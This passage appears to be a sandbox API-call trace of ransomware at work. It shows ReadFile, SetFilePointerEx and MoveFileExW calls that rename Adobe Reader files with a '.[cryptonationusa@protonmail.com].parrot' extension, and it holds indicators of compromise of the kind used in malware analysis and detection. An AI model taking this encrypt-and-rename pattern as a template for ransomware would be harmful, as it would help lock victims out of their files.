lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.803] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.807] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.807] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.809] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.810] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.815] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.818] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.818] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.819] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.840] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.859] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.859] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.860] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.860] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.862] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.862] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.EUQ.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.euq.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.868] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.868] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.870] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.870] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.871] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.872] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.877] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.877] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.878] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.878] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.879] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.880] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.884] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.884] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.886] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.886] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.887] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.888] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.892] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.892] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.984] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.987] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.993] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.993] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.994] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.994] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1800, lpOverlapped=0x0) returned 1 [0245.995] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.995] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.000] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.001] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.001] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.002] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.002] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.006] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.007] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.007] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.008] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.009] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.013] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.014] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.014] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.015] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.015] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.019] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.091] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.091] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0246.098] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.099] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.105] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.105] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.106] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.106] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.107] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.112] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.112] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.114] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.114] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0246.115] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.116] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.119] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.119] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.121] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.123] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.124] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.124] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.128] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.128] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.129] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.129] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.130] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.131] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.134] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.134] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0246.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.140] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0246.143] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.144] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.149] SetFilePointerEx (in: 